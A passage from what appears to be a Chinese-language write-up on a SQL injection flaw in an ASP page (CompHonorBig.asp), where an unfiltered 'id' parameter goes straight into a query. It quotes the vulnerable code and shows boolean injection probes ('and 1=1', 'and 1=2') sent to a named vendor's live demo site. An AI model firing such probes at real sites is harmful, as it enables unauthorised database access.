<%dim id
id=request.QueryString("id")%>
<html>
<head>
<title>图片</title>
<meta http-equiv="Content-Type" c>
<%
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from CompHonor where id="&id,conn,1,1
%>
我们看到事实上这个id确实是没有经过任何的过滤便在第10行放入了SQL语句中执行,同时comphonorbig.asp文件也没有include网站系统的防SQL注入文件,那么这个SQL注入漏洞也就成立了!在网站页面中显示的地方为“公司荣誉”(或者是“系统荣誉”)。下面我们在冠龙科技的官方演示站点测试一下吧!
在浏览系统用荣誉部分时,首先提交URL:
http://www1.glgk.com/dfg/CompHonorBig.asp?id=17 and 1=1,返回正常
然后提交:
http://www1.glgk.com/dfg/CompHonorBig.asp?id=17 and 1=2,返回错误